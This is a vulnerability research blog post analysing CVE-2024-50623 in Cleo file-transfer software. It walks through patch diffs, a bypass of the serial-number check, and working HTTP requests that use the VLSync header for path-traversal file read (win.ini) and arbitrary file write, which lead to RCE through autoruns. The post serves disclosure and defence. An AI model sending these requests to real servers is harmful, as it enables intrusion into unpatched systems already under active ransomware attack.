Cleo Harmony, VLTrader, and LexiCom - RCE via Arbitrary File Write (CVE-2024-50623)
Note: this is a rapidly-drafted post on an evolving topic - we'll update the post with more details as we discover more about the situation. Hit that F5 key regularly for updates!
We were having a nice uneventful Wednesday afternoon here at watchTowr, when we got news of some ransomware operators using a zero-day exploit in a bunch of Cleo software - LexiCom, VLTransfer, and Harmony - applications that many large enterprises rely on to securely share files.
Cleo have a (paywalled) advisory, linked to from a very brief 'advisory' which states vulnerable versions:
Cleo Harmony® (up to version 5.8.0.21)
Cleo VLTrader® (up to version 5.8.0.21)
Cleo LexiCom® (up to version 5.8.0.21)
From the paywalled advisory:
Fair enough. But it's patched, right? So not zero-day?
Well, the folk over at Huntress have some additional backstory - apparently Cleo attempted to fix the original bug, CVE-2024-50623, but didn't do so correctly, and so exploitation has continued. Huntress teased us with an exploitation video, running on the latest patched version, but were otherwise short on technical detail, so we decided to dive in ourselves and clear the waters - what exactly is CVE-2024-50623? Was it patched correctly? What should the administrators of affected servers do, if anything? The threat actors clearly have this information already, so why shouldn't administrators of affected systems!?
For anyone doubting how interesting the article will be, here's a quick teaser image to persuade you it's worth your time. Readers with a keen eye will note the version number, which shows we have reproduced the vulnerability on the older version of the software:
Oooh, is that some arbitrary file read?! I think so! Read on for details, and the arbitrary file write we're after.
Patch-diffing
Details are sparse, and all we know is that an arbitrary file write is being leveraged for RCE via the autoruns
functionality. Our first port of call in illuminating the situation is to understand CVE-2024-50623. To do this, it's time to do some patch diffing.
We diff'ed between the vulnerable version (5.7.0) and the apparently-patched-but-not-really version (5.8.0.21) to see what is going on. It's all Java, so time to fire up that decompiler and wade in. There are a lot of changes to go through, unfortunately, but after some time we come to this one, found in Syncer.java
:
+ protected int validatePath(String path) {
+ try {
+ if (!Strings.isNullOrEmpty(path)) {
+ URI uri = new URI(path);
+ if (!Strings.isNullOrEmpty(uri.getScheme())) {
+ return ServiceException.REMOTE_IO_EXCEPTION;
+ }
+ }
+ } catch (URISyntaxException e) {
+ }
+ String path2 = FilenameUtils.normalize(path);
+ if (Strings.isNullOrEmpty(path2)) {
+ return ServiceException.REMOTE_IO_EXCEPTION;
+ }
+ String relativePath = LexIO.getRelative(path2);
+ if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
+ return ServiceException.REMOTE_IO_EXCEPTION;
+ }
+ String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
+ for (String rootpath : UNPROTECTED_PATHS) {
+ if (relativePath2.startsWith(rootpath)) {
+ return 200;
+ }
+ }
+ for (String rootpath2 : PROTECTED_PATHS) {
+ if (relativePath2.startsWith(rootpath2)) {
+ return ServiceException.REMOTE_IO_EXCEPTION;
+ }
+ }
+ return 200;
+ }
Veeeery interesting! A function has been added, named validatePath
, which performs path sanitization, rejecting access to certain filesystem locations (and attempting to neutralize directory separators). This sounds like a directory traversal could be in play here.
To fully understand what's going on here, we obviously need to examine the surrounding logic. This class that it resides in, Syncer.java
, handles the endpoint /Synchronization
, which handles the synchronization of files between cluster nodes. In this scenario, there are multiple installations of the Cleo product, performing load-balancing.
Each node has to be licensed, and so (for some reason) Cleo decided to identify cluster nodes by the license number, rather than (say) hostname, or IP address.
Since it deals with synchronization of files, the /Synchronization
endpoint sounds like where you'd find an arbitrary file read (or arbitrary file write) primitive, and if we keep looking, we can spot both.
Searching the file for likely dangerous code reveals the following:
String path = fixPath(getParameterValue(header, "path", false));
byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
fireRetrieveEvent(path);
statusCode = 200;
httpResponse.setStatus(200);
httpResponse.setContentLength(bytes.length);
httpResponse.setHeader("Connection", "close");
ServletOutputStream outputStream = httpResponse.getOutputStream();
outputStream.write(bytes);
outputStream.close();
This looks suspiciously like an arbitrary read primitive if we can access it via a code path that neglects sanitization. Unfortunately for us, though, there's a function above it which verifies the serial number of the current installation is valid.
String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
if (!islValid(serialNumber) || ... ) {
statusCode = 403;
This appeared to be a blocker, at first sight - surely an attacker doesn't know the license number of the installation - but after some reversing, we found that it wasn't checked in the manner that we'd expect. Instead of verifying that the serial number matches the serial number on the current installation, the islValid
method will simply check if the serial number matches the format of a valid serial number. We can supply any value that passes this check.
Fortunately, the serial number algorithm doesn't require any fancy constraint solvers or crypto, as it is simply:
protected static boolean islValid(String serialNumber) {
if (serialNumber == null) {
return false;
} else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
return false;
}
}
// ... further code omitted ..
}
public static String scramble(String serial) {
int shift = 0;
for(int i = 0; i < serial.length(); ++i) {
shift ^= serial.charAt(i);
}
StringBuffer sb = new StringBuffer(serial);
sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
return sb.toString();
}
This is pretty simple to follow - first, we check the serial number is 13 bytes, and that it has a hyphen in the middle. Then, it'll call the scramble
method, passing it the first half, and ensure that the result is the same as the second half. The scramble
method itself, as you can see, just does some simple bitshifting.
Given this, it's easy to bypass this islValid
check. Some further reversing finds a dispatch method that gets to the dangerous functionality:
public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
int statusCode = 500;
InputStream in = null;
int len = 0;
try {
in = httpRequest.getInputStream();
len = httpRequest.getContentLength();
boolean found = false;
Enumeration headers = httpRequest.getHeaderNames();
while(headers.hasMoreElements()) {
String header = (String)headers.nextElement();
if (header.equalsIgnoreCase(SYNC_HEADER)) {
found = true;
String value = httpRequest.getHeader(header);
String serialNumber = getDecodedParameterValue(value, "l", true);
if (hasToken(value, START)) {
// ... omitted ...
break;
}
if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
Although heavily abstracted, this method simply finds the HTTP header VLSync
(referred to as SYNC_HEADER
to avoid the mortal sin of a hardcoded string), and then performs some processing on the value. We won't bore you with the details, but it turns out that the format of this VLSync
header is simple - there's a command, at the start of the header, and then a number of semicolon-delimited key-value pairs, separated by an equals sign. For example, this header might be:
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0
Here, the command is Retrieve
, and there is a parameter, l
, containing the value of Ab1234-RQ0258
. Following this are the parameters n
and v
, containing VLTrader
and 5.7.0.0
respectively.
There are a bunch of commands recognized, but the one we're interested in is the one we mentioned above - Retrieve
. This is what lands us at the suspicious code which first drew our attention. Let's have a closer look:
private int retrieve(String header, HttpServletResponse httpResponse) {
String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
// ... omitted ...
String path = fixPath(getParameterValue(header, "path", false));
// ... omitted ...
if (statusCode == 200) {
try {
byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
fireRetrieveEvent(path);
statusCode = 200;
httpResponse.setStatus(200);
httpResponse.setContentLength(bytes.length);
httpResponse.setHeader("Connection", "close");
ServletOutputStream outputStream = httpResponse.getOutputStream();
outputStream.write(bytes);
outputStream.close();
} catch (FileNotFoundException e) {
statusCode = 404;
} catch (Exception ex) {
// ... omitted ...
}
}
return statusCode;
}
With our new understanding of the format of the VLSync
header, we can reach it easily. It's easy to spot that the path
variable is being used to specify the path of the file to retrieve. Let's try retrieving something.
GET /Synchronization HTTP/1.1
Host: {{Host}}
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=..\..\..\windows\win.ini
Content-Type: multipart/form-data; boundary=---------------------------12345678901234567890123456
Content-Length: 0
You can see that we've used this command, Retrieve
, and specified a serial number which will pass validation. Finally, the path
variable performs a path traversal and that's that - we're rewarded with the contents of the file we requested - win.ini
- showing us that the arbitrary file read has taken effect.
Learning to write
Reading arbitrary files is cool, but the advisory stated that an arbitrary write is possible, too. It turns out the write functionality is waiting for us to find it - if we take another look through that decision tree of commands, we can find the suspiciously-writey sounding add
command. This causes the following code to be triggered:
private int fileIn(String header, InputStream in, int length) throws Exception {
int statusCode = 200;
String serialNumber = getDecodedParameterValue(header, "l", true);
// ... omitted ...
String path = this.fixPath(getParameterValue(header, "path", false));
// ... omitted ...
if (file.exists() && !file.canWrite()) {
statusCode = 403;
} else {
Sounds promising, right? There are a bunch of checks, handling different virtual directories, and if none match, we get this this gem of a primitive:
OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();
This looks suspiciously like an arbitrary write, and so we gave it a go:
POST /Synchronization HTTP/1.1
Host: 192.168.1.18:5080
VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=..\..\..\test.txt
Content-Type: multipart/form-data; boundary=-----1337
Content-Length: 10
watchTowr is k3wl
Examining the target filesystem revealed that the file test.txt
had been created, containing our body text, watchTowr is k3wl
.
Huntress observed threat actors using this arbitrary file write to achieve RCE by writing to the autorun
directory. It's clear we've reproduced CVE-2024-50623 and can achieve RCE on unpatched installations (previous to 5.8.0.21).
We've written a quick PoC which you can use to achieve arbitrary file read/write on vulnerable versions of Cleo software.
The patch
Of course, the real buzz around this bug is in the patch, which seems somewhat fumbled. As we saw above, the validatePath
function has been added, and is invoked before file access, which is sufficient to protect against the attack we detail - although we are under the impression it can be bypassed (this is left as an exercise to the reader).
We were also interested by some of the changes around license number validation:
private int fileIn(String header, InputStream in, int length) throws Exception {
String warning;
int statusCode = 200;
String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
String poolVersion = getDecodedParameterValue(header, "pv", true);
SyncVersalexThread thread = findThread(serialNumber);
updateIn(thread);
String path = fixPath(getParameterValue(header, "path", false));
Sync.Versalex versalex = null;
boolean noShowPool = false;
boolean newVersalex = false;
LexFile file = LexBean.getAbsolute(new LexFile(path));
if (file.exists() && !file.canWrite()) {
statusCode = 403;
} else {
String force = getParameterValue(header, "force", false);
- versalex = LexiCom.sync.findVersalex(serialNumber);
+ versalex = LexiCom.sync.findVersalex(serialNumber, false);
+ if (versalex == null && thread != null) {
+ versalex = thread.versalex;
+ }
+ if (versalex == null) {
+ return ServiceException.REMOTE_SERVICE_EXCEPTION;
+ }
noShowPool = versalex != null && versalex.igetPool().startsWith(Sync.NO_SHOW_POOL_ALIAS);
if (versalex != null && !noShowPool) {
boolean updated = false;
We're not sure what purpose these changes serve, but we're interested in finding out!
Conclusion
Well, there we have it. A vuln in active use by threat actors, laid bare for all to see.
There's not much advice we can give to those charged with securing vulnerable hosts; all we can do is point them to Huntress' advice on the matter:
At the time of writing, the 5.8.0.21 patched versions are insufficient against the exploit we are seeing in the wild. Speaking over a Zoom call, Cleo expressed that they will have a new patch available as soon as possible.
In the interim, we have suggested mitigations in an attempt to limit the attack surface. Knowing that the latter half of this attack path relies on code execution via the autoruns directory, it is possible to reconfigure Cleo software to disable this feature. However, this will not prevent the arbitrary file-write vulnerability until a patch is released.
Yikes.
Stay safe out there, people!
Here at watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.
If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.